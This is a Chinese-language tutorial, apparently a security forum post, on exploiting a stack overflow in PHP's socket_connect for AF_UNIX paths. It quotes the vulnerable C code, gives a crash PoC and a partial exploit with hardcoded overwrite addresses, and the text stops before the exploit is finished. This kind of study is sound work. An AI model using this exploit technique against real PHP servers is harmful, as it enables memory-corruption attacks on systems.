0x01 前言
首先这是我第一次尝试在linux写实际的漏洞利用的exp,水平有限欢迎指出。本次要讲的是php的一个栈溢出漏洞,远程的exp说实在的,现在是不知道咋写,所以只能写个本地的,说不定以后就有思路了。还有php本身有种简要的exp写法,不过我没怎么研究,大致看了下,感兴趣的同学可以学习下,最后欢迎大家一起与我多交流。
0x02 漏洞分析
本次漏洞很简单,我就直接拿别人分析过的贴上来了。
Vulnerable code
In ext/sockets/sockets.c:
```
PHP_FUNCTION(socket_connect)
{
zval *arg1;
php_socket *php_sock;
struct sockaddr_in sin;
#if HAVE_IPV6
struct sockaddr_in6 sin6;
#endif
struct sockaddr_un s_un; /* stack var */
char *addr;
int retval, addr_len;
long port = 0;
int argc = ZEND_NUM_ARGS();
[...]
case AF_UNIX:
memset(&s_un, 0, sizeof(struct sockaddr_un));
s_un.sun_family = AF_UNIX;
memcpy(&s_un.sun_path, addr, addr_len); /*没有限制参数导致拷贝的时候出现栈溢出漏洞 */
retval = connect(php_sock->bsd_socket, (struct sockaddr *) &s_un,
(socklen_t) XtOffsetOf(struct sockaddr_un, sun_path) + addr_len);
break;
[...]
}
总结下漏洞原理socket_connect这个函数的第二个参数的长度没有做限制,后来传入memcpy后拷贝超出sun_path的大小造成栈溢出漏洞。
0x03 漏洞利用
要注意的是由于拷贝的时候会覆盖到下面函数的指针,所以在写exp的时候可以将原来的地址填充进去。
可以运行poc来观察一下,我分别在X86和X64进行了实验。
poc.php
<?php
$pad = str_repeat("A", 500);
$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $pad);
?>
GDB调试php,运行poc。观察到rax是个指针,读到了0x41414141无效地址,把这个地址改为正常地址,后面还有一处也还会覆盖,根据调试情况也进行更改。
之后编写可以覆盖到ret的半成品exp,代码如下:
<?php
$padd = str_repeat("A", 156)."\x20\x9d\x72\x08";
$pad2=str_repeat("B",12)."\x18\xcc\xff\xbf";
$pad3=str_repeat("C",4)."DDDD";
$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!